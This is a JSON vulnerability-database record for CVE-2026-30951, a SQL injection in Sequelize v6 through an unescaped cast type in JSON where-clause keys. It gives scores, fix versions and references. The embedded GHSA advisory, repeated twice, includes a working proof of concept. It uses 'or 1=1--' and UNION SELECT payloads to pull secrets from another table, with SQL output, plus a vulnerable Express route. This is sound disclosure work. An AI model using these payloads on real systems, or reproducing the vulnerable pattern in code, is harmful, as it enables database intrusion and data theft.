{"id":"CVE-2026-30951","aliases":["CLSA-2026-1792476615","EUVD-2026-10870","GHSA-6457-6jrx-69cr"],"status":"published","title":"Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type","description":"Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS \u003ctype\u003e) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.0048,"percentile":0.4168,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-89"],"published":"2026-03-10T20:22:46Z","modified":"2026-10-28T02:30:39Z","exploits":[{"source":"pocgithub","id":"EQSTLab/CVE-2026-30951","title":"EQSTLab/CVE-2026-30951","date":"2026-04-05","url":"https://github.com/EQSTLab/CVE-2026-30951"},{"source":"pocgithub","id":"yym8538/CVE-2026-30951","title":"yym8538/CVE-2026-30951","date":"2026-08-21","url":"https://github.com/yym8538/CVE-2026-30951"}],"fixes":[{"ecosystem":"npm","package":"sequelize","fixed_in":["6.37.8"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"sequelize","fixed_in":["6.37.7-tuxcare.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"sequelize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0-beta.1"},{"last_affected":"6.37.7"},{"fixed":"6.37.8"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"sequelize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.37.7-tuxcare.0"},{"fixed":"6.37.7-tuxcare.1"}]}],"versions":["6.37.7"]},{"source":"osv","ecosystem":"npm","package":"sequelize","ranges":[{"type":"SEMVER","events":[{"introduced":"6.0.0-beta.1"},{"fixed":"6.37.8"}]}]}],"products":[{"vendor":"red hat","product":"confidential compute attestation"},{"vendor":"red hat","product":"red hat enterprise linux 10"},{"vendor":"red hat","product":"red hat enterprise linux 9"},{"vendor":"red hat","product":"red hat satellite 6.18"},{"vendor":"sequelize","product":"sequelize"},{"vendor":"sequelizejs","product":"sequelize"}],"references":[{"url":"https://github.com/sequelize/sequelize/security/advisories/GHSA-6457-6jrx-69cr","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-30951","tags":["vdb-entry","x_refsource_REDHAT","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2446250","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30951.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8498","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30951","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6457-6jrx-69cr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/30xxx/CVE-2026-30951.json","tags":["advisory"]},{"url":"https://github.com/sequelize/sequelize","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-30951","title":"Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type","description":"Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS \u003ctype\u003e) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.","status":"published","published":"2026-03-10T20:22:46.15Z","modified":"2026-08-20T12:31:50.041Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"adp"}],"cwes":["CWE-89","CWE-89"],"updated_at":"2026-11-02T13:44:07.200604Z"}],"euvd":[{"id":"EUVD-2026-10870","description":"Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS \u003ctype\u003e) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.","status":"published","published":"2026-03-10T20:22:46Z","modified":"2026-08-20T12:31:50Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T18:01:40.451894Z"}],"ghsa":[{"id":"GHSA-6457-6jrx-69cr","title":"Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type","description":"### Summary\n\nSQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS \u003ctype\u003e)` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.\n\nAffected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected.\n\n### Details\n\nIn `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation:\n\n```javascript\n// line 1892\n_traverseJSON(items, baseKey, prop, item, path) {\n    let cast;\n    if (path[path.length - 1].includes(\"::\")) {\n      const tmp = path[path.length - 1].split(\"::\");\n      cast = tmp[1];       // attacker-controlled, no escaping\n      path[path.length - 1] = tmp[0];\n    }\n    // ...\n    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));\n}\n```\n\n`_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly:\n\n```javascript\nreturn `CAST(${result} AS ${smth.type.toUpperCase()})`;\n```\n\nJSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not.\n\n**Suggested fix** — whitelist known SQL data types:\n\n```javascript\nconst ALLOWED_CAST_TYPES = new Set([\n  'integer', 'text', 'real', 'numeric', 'boolean', 'date',\n  'timestamp', 'timestamptz', 'json', 'jsonb', 'float',\n  'double precision', 'bigint', 'smallint', 'varchar', 'char',\n]);\n\nif (cast \u0026\u0026 !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {\n  throw new Error(`Invalid cast type: ${cast}`);\n}\n```\n\n### PoC\n\n`npm install sequelize@6.37.7 sqlite3`\n\n```javascript\nconst { Sequelize, DataTypes } = require('sequelize');\n\nasync function main() {\n  const sequelize = new Sequelize('sqlite::memory:', { logging: false });\n\n  const User = sequelize.define('User', {\n    username: DataTypes.STRING,\n    metadata: DataTypes.JSON,\n  });\n\n  const Secret = sequelize.define('Secret', {\n    key: DataTypes.STRING,\n    value: DataTypes.STRING,\n  });\n\n  await sequelize.sync({ force: true });\n\n  await User.bulkCreate([\n    { username: 'alice', metadata: { role: 'admin', level: 10 } },\n    { username: 'bob',   metadata: { role: 'user',  level: 5 } },\n    { username: 'charlie', metadata: { role: 'user', level: 1 } },\n  ]);\n\n  await Secret.bulkCreate([\n    { key: 'api_key', value: 'sk-secret-12345' },\n    { key: 'db_password', value: 'super_secret_password' },\n  ]);\n\n  // TEST 1: WHERE clause bypass\n  const r1 = await User.findAll({\n    where: { metadata: { 'role::text) or 1=1--': 'anything' } },\n    logging: (sql) =\u003e console.log('SQL:', sql),\n  });\n  console.log('OR 1=1:', r1.map(u =\u003e u.username));\n  // Returns ALL rows: ['alice', 'bob', 'charlie']\n\n  // TEST 2: UNION-based cross-table exfiltration\n  const r2 = await User.findAll({\n    where: {\n      metadata: {\n        'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'\n      }\n    },\n    raw: true,\n    logging: (sql) =\u003e console.log('SQL:', sql),\n  });\n  console.log('UNION:', r2.map(r =\u003e `${r.username}=${r.metadata}`));\n  // Returns: api_key=sk-secret-12345, db_password=super_secret_password\n}\n\nmain().catch(console.error);\n```\n\n**Output:**\n\n```\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n  FROM `Users` AS `User`\n  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';\nOR 1=1: [ 'alice', 'bob', 'charlie' ]\n\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n  FROM `Users` AS `User`\n  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0\n  UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';\nUNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]\n```\n\n### Impact\n\n**SQL Injection (CWE-89)** — Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).\n\nA common vulnerable pattern:\n\n```javascript\napp.post('/api/users/search', async (req, res) =\u003e {\n  const users = await User.findAll({\n    where: { metadata: req.body.filter }  // user controls JSON object keys\n  });\n  res.json(users);\n});\n```","status":"published","published":"2026-03-11T00:18:48Z","modified":"2026-03-11T00:18:49Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:39:34.616253Z"}],"nvd":[{"id":"CVE-2026-30951","description":"Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS \u003ctype\u003e) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.","status":"published","published":"2026-03-10T21:16:48.03Z","modified":"2026-07-15T02:19:45.85Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:12:08.98071Z"}],"osv":[{"id":"CVE-2026-30951","title":"Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type","description":"Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS \u003ctype\u003e) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.","status":"published","published":"2026-03-10T20:22:46.15Z","modified":"2026-10-28T02:30:39.820454995Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:45:00.861953Z"},{"id":"GHSA-6457-6jrx-69cr","title":"Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type","description":"### Summary\n\nSQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS \u003ctype\u003e)` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.\n\nAffected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected.\n\n### Details\n\nIn `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation:\n\n```javascript\n// line 1892\n_traverseJSON(items, baseKey, prop, item, path) {\n    let cast;\n    if (path[path.length - 1].includes(\"::\")) {\n      const tmp = path[path.length - 1].split(\"::\");\n      cast = tmp[1];       // attacker-controlled, no escaping\n      path[path.length - 1] = tmp[0];\n    }\n    // ...\n    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));\n}\n```\n\n`_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly:\n\n```javascript\nreturn `CAST(${result} AS ${smth.type.toUpperCase()})`;\n```\n\nJSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not.\n\n**Suggested fix** — whitelist known SQL data types:\n\n```javascript\nconst ALLOWED_CAST_TYPES = new Set([\n  'integer', 'text', 'real', 'numeric', 'boolean', 'date',\n  'timestamp', 'timestamptz', 'json', 'jsonb', 'float',\n  'double precision', 'bigint', 'smallint', 'varchar', 'char',\n]);\n\nif (cast \u0026\u0026 !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {\n  throw new Error(`Invalid cast type: ${cast}`);\n}\n```\n\n### PoC\n\n`npm install sequelize@6.37.7 sqlite3`\n\n```javascript\nconst { Sequelize, DataTypes } = require('sequelize');\n\nasync function main() {\n  const sequelize = new Sequelize('sqlite::memory:', { logging: false });\n\n  const User = sequelize.define('User', {\n    username: DataTypes.STRING,\n    metadata: DataTypes.JSON,\n  });\n\n  const Secret = sequelize.define('Secret', {\n    key: DataTypes.STRING,\n    value: DataTypes.STRING,\n  });\n\n  await sequelize.sync({ force: true });\n\n  await User.bulkCreate([\n    { username: 'alice', metadata: { role: 'admin', level: 10 } },\n    { username: 'bob',   metadata: { role: 'user',  level: 5 } },\n    { username: 'charlie', metadata: { role: 'user', level: 1 } },\n  ]);\n\n  await Secret.bulkCreate([\n    { key: 'api_key', value: 'sk-secret-12345' },\n    { key: 'db_password', value: 'super_secret_password' },\n  ]);\n\n  // TEST 1: WHERE clause bypass\n  const r1 = await User.findAll({\n    where: { metadata: { 'role::text) or 1=1--': 'anything' } },\n    logging: (sql) =\u003e console.log('SQL:', sql),\n  });\n  console.log('OR 1=1:', r1.map(u =\u003e u.username));\n  // Returns ALL rows: ['alice', 'bob', 'charlie']\n\n  // TEST 2: UNION-based cross-table exfiltration\n  const r2 = await User.findAll({\n    where: {\n      metadata: {\n        'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'\n      }\n    },\n    raw: true,\n    logging: (sql) =\u003e console.log('SQL:', sql),\n  });\n  console.log('UNION:', r2.map(r =\u003e `${r.username}=${r.metadata}`));\n  // Returns: api_key=sk-secret-12345, db_password=super_secret_password\n}\n\nmain().catch(console.error);\n```\n\n**Output:**\n\n```\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n  FROM `Users` AS `User`\n  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';\nOR 1=1: [ 'alice', 'bob', 'charlie' ]\n\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n  FROM `Users` AS `User`\n  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0\n  UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';\nUNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]\n```\n\n### Impact\n\n**SQL Injection (CWE-89)** — Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).\n\nA common vulnerable pattern:\n\n```javascript\napp.post('/api/users/search', async (req, res) =\u003e {\n  const users = await User.findAll({\n    where: { metadata: req.body.filter }  // user controls JSON object keys\n  });\n  res.json(users);\n});\n```","status":"published","published":"2026-03-11T00:18:48Z","modified":"2026-09-10T03:50:37.694732367Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:46:39.266402Z"},{"id":"CLSA-2026-1792476615","title":"TuxCare security update for sequelize (1 CVE)","description":"TuxCare rebuilt sequelize to address 1 CVE. Fixed in 6.37.7-tuxcare.1.","status":"published","published":"2026-10-20T06:10:15Z","modified":"2026-10-20T07:15:09.319979035Z","updated_at":"2026-11-02T15:43:54.378946Z"}]}}